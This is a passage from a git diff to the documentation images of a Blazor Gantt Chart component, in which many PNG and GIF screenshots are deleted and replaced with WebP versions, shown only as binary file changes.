+![Blazor Gantt Chart](../images/blazor-gantt-chart.webp)
diff --git a/blazor/gantt-chart/images/Blazor-server-app-creation.png b/blazor/gantt-chart/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/gantt-chart/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/Blazor-server-app-creation.webp b/blazor/gantt-chart/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..fa8d2fba56
Binary files /dev/null and b/blazor/gantt-chart/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/gantt-chart/images/Column_Virtual.gif b/blazor/gantt-chart/images/Column_Virtual.gif
deleted file mode 100644
index 52a71d9c04..0000000000
Binary files a/blazor/gantt-chart/images/Column_Virtual.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/Column_Virtual.webp b/blazor/gantt-chart/images/Column_Virtual.webp
new file mode 100644
index 0000000000..2ef13e4e4d
Binary files /dev/null and b/blazor/gantt-chart/images/Column_Virtual.webp differ
diff --git a/blazor/gantt-chart/images/Indicator_Tolltip.png b/blazor/gantt-chart/images/Indicator_Tolltip.png
deleted file mode 100644
index 33ed5b72cd..0000000000
Binary files a/blazor/gantt-chart/images/Indicator_Tolltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/Indicator_Tolltip.webp b/blazor/gantt-chart/images/Indicator_Tolltip.webp
new file mode 100644
index 0000000000..2eb87ee2a1
Binary files /dev/null and b/blazor/gantt-chart/images/Indicator_Tolltip.webp differ
diff --git a/blazor/gantt-chart/images/addRecord.gif b/blazor/gantt-chart/images/addRecord.gif
deleted file mode 100644
index 683153d64f..0000000000
Binary files a/blazor/gantt-chart/images/addRecord.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/addRecord.webp b/blazor/gantt-chart/images/addRecord.webp
new file mode 100644
index 0000000000..251ac52719
Binary files /dev/null and b/blazor/gantt-chart/images/addRecord.webp differ
diff --git a/blazor/gantt-chart/images/addedit.gif b/blazor/gantt-chart/images/addedit.gif
deleted file mode 100644
index 893498307c..0000000000
Binary files a/blazor/gantt-chart/images/addedit.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/addedit.webp b/blazor/gantt-chart/images/addedit.webp
new file mode 100644
index 0000000000..c56598a78c
Binary files /dev/null and b/blazor/gantt-chart/images/addedit.webp differ
diff --git a/blazor/gantt-chart/images/blazor-app-interactive-mode.png b/blazor/gantt-chart/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/gantt-chart/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-app-interactive-mode.webp b/blazor/gantt-chart/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..9eaa954eda
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.png b/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.png
deleted file mode 100644
index 41e58a31db..0000000000
Binary files a/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.webp b/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.webp
new file mode 100644
index 0000000000..b482ed75fa
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-aspnet-core-project-configuration.webp differ
diff --git a/blazor/gantt-chart/images/blazor-client-template.png b/blazor/gantt-chart/images/blazor-client-template.png
deleted file mode 100644
index 0005e2b949..0000000000
Binary files a/blazor/gantt-chart/images/blazor-client-template.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-client-template.webp b/blazor/gantt-chart/images/blazor-client-template.webp
new file mode 100644
index 0000000000..8ee02ba659
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-client-template.webp differ
diff --git a/blazor/gantt-chart/images/blazor-create-web-app.png b/blazor/gantt-chart/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/gantt-chart/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-create-web-app.webp b/blazor/gantt-chart/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..13b8b0455c
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-create-web-app.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-baseline.webp b/blazor/gantt-chart/images/blazor-gantt-baseline.webp
new file mode 100644
index 0000000000..ef3cd0cdc0
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-baseline.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.png b/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.png
deleted file mode 100644
index f29afdc26f..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.webp b/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.webp
new file mode 100644
index 0000000000..c944ebced0
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-add-dialogtab.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.png b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.png
deleted file mode 100644
index ccff90ce64..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.webp b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.webp
new file mode 100644
index 0000000000..4c28acd67c
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-record.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.png b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.png
deleted file mode 100644
index d3382483c9..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.webp b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.webp
new file mode 100644
index 0000000000..9e5ab4ccff
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-add-new-row.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.png b/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.png
deleted file mode 100644
index 7ffda6e3d2..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.webp b/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.webp
new file mode 100644
index 0000000000..41d5bab6c9
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-assign-resource.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-autofill.gif b/blazor/gantt-chart/images/blazor-gantt-chart-autofill.gif
deleted file mode 100644
index 7d418033fb..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-autofill.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-autofill.webp b/blazor/gantt-chart/images/blazor-gantt-chart-autofill.webp
new file mode 100644
index 0000000000..d99ab5b6d7
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-autofill.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.png b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.png
deleted file mode 100644
index 4955b71327..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.webp b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.webp
new file mode 100644
index 0000000000..3870687db7
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip-customization.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.png
deleted file mode 100644
index b6fe6e6497..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.webp
new file mode 100644
index 0000000000..dbc36d9067
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-baseline-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.png b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.png
deleted file mode 100644
index 3537dc0e36..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.webp b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.webp
new file mode 100644
index 0000000000..8de94e6c51
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing-in-treegrid.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.png b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.png
deleted file mode 100644
index eeaf697d99..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.webp b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.webp
new file mode 100644
index 0000000000..ba292f7424
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-cell-editing.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.gif b/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.gif
deleted file mode 100644
index 03cefe218e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.png b/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.png
deleted file mode 100644
index fcbed4de2b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.webp b/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.webp
new file mode 100644
index 0000000000..de543e34e7
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-cell-selection.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.png b/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.png
deleted file mode 100644
index 19ee5d1e75..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.webp b/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.webp
new file mode 100644
index 0000000000..8c670ef635
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-change-work-week.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.gif b/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.gif
deleted file mode 100644
index c00896c38e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.png b/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.png
deleted file mode 100644
index 1d8c8a15b8..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.webp b/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.webp
new file mode 100644
index 0000000000..6bc454b735
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-clear-filter.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.png b/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.png
deleted file mode 100644
index 6519c6617a..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.webp b/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.webp
new file mode 100644
index 0000000000..58baf02585
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-column-chooser.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.gif b/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.gif
deleted file mode 100644
index ee83545c93..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.png b/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.png
deleted file mode 100644
index a1e242c360..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.webp b/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.webp
new file mode 100644
index 0000000000..f502fcccde
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-column-reorder.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.gif b/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.gif
deleted file mode 100644
index b2934ce398..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.png b/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.png
deleted file mode 100644
index 641e40b5af..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.webp b/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.webp
new file mode 100644
index 0000000000..c8fea5aa17
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-column-resize.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.png b/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.png
deleted file mode 100644
index 4837298d7e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.webp b/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.webp
new file mode 100644
index 0000000000..7c94e72f87
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-column-resizing.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-columns.png b/blazor/gantt-chart/images/blazor-gantt-chart-columns.png
deleted file mode 100644
index 70137c327b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-columns.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-columns.webp b/blazor/gantt-chart/images/blazor-gantt-chart-columns.webp
new file mode 100644
index 0000000000..323d718f09
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-columns.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.png b/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.png
deleted file mode 100644
index b77933e59c..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.webp b/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.webp
new file mode 100644
index 0000000000..5ace75fb83
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-complex-dependencies.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.png b/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.png
deleted file mode 100644
index 1872fa5570..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.webp b/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.webp
new file mode 100644
index 0000000000..5875117ef4
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-connector-line-customization.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-content.webp b/blazor/gantt-chart/images/blazor-gantt-chart-content.webp
new file mode 100644
index 0000000000..0c4c1547e4
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-content.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.png b/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.png
deleted file mode 100644
index 8673e28227..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.webp b/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.webp
new file mode 100644
index 0000000000..b67800da70
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-create-new-project.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.PNG
deleted file mode 100644
index 7b39d0313e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.webp b/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.webp
new file mode 100644
index 0000000000..53693d5ec4
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-critical-path-customize-taskbar.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.png b/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.png
deleted file mode 100644
index fbc49e236d..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.webp b/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.webp
new file mode 100644
index 0000000000..ac163c1517
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-custom-column-chooser.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.png b/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.png
deleted file mode 100644
index be9da5ec31..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.webp b/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.webp
new file mode 100644
index 0000000000..d62dfe34a1
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-custom-fields.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.png b/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.png
deleted file mode 100644
index c60c960f5a..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.webp b/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.webp
new file mode 100644
index 0000000000..44851814a3
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-data-binding.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-date-format.PNG b/blazor/gantt-chart/images/blazor-gantt-chart-date-format.PNG
deleted file mode 100644
index 995b9733b2..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-date-format.PNG and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-date-format.webp b/blazor/gantt-chart/images/blazor-gantt-chart-date-format.webp
new file mode 100644
index 0000000000..23d07c328b
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-date-format.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.png b/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.png
deleted file mode 100644
index bd05c4d815..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.webp b/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.webp
new file mode 100644
index 0000000000..02767e6c6e
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-day-mode.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.png b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.png
deleted file mode 100644
index 3b34ab0062..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.webp b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.webp
new file mode 100644
index 0000000000..8cff168199
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-appearance.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.png
deleted file mode 100644
index ed046b34fe..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.webp
new file mode 100644
index 0000000000..c0adb59922
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-dependency-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.png b/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.png
deleted file mode 100644
index 025f7cca39..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.webp b/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.webp
new file mode 100644
index 0000000000..8f51ea8143
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-dialog-editing.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.png b/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.png
deleted file mode 100644
index fae2f91375..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.webp b/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.webp
new file mode 100644
index 0000000000..19263519c3
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-duration-task.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.png b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.png
deleted file mode 100644
index 715b1d8b5e..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.webp b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.webp
new file mode 100644
index 0000000000..29c554c751
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialog.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.png b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.png
deleted file mode 100644
index 7487aa69dd..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.webp b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.webp
new file mode 100644
index 0000000000..4d3b0e2ba8
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-edit-dialogtab.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.png b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.png
deleted file mode 100644
index f48417036d..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.webp b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.webp
new file mode 100644
index 0000000000..9c9a5533d9
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resource-in-dialog.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.png b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.png
deleted file mode 100644
index bd517b6a98..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.webp b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.webp
new file mode 100644
index 0000000000..7c773732c5
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-editing-resources-in-cell.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.png b/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.png
deleted file mode 100644
index ce0eac8efb..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.webp b/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.webp
new file mode 100644
index 0000000000..ce6d9c5e25
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-end-date-task.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.png b/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.png
deleted file mode 100644
index 115e8875d3..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.webp b/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.webp
new file mode 100644
index 0000000000..0643ea2a37
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-event-marker-tooltip.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.gif b/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.gif
deleted file mode 100644
index 4ecd40aafc..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.gif and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.png b/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.png
deleted file mode 100644
index de94c5f935..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.webp b/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.webp
new file mode 100644
index 0000000000..d2e5c40e57
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-filter-column.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.png b/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.png
deleted file mode 100644
index 704621e7dc..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.webp b/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.webp
new file mode 100644
index 0000000000..1f25b929bd
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-filter-diacritic-charater.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.png b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.png
deleted file mode 100644
index 4a5702cb4b..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.webp b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.webp
new file mode 100644
index 0000000000..6f369e0938
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-finish-relation.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.png b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.png
deleted file mode 100644
index 4f5aed3689..0000000000
Binary files a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.png and /dev/null differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.webp b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.webp
new file mode 100644
index 0000000000..edb2921c80
Binary files /dev/null and b/blazor/gantt-chart/images/blazor-gantt-chart-finish-to-start-relation.webp differ
diff --git a/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.png b/blazor/gantt-chart/images/blazor-gantt-chart-handling-exception.png
deleted file mode 100644
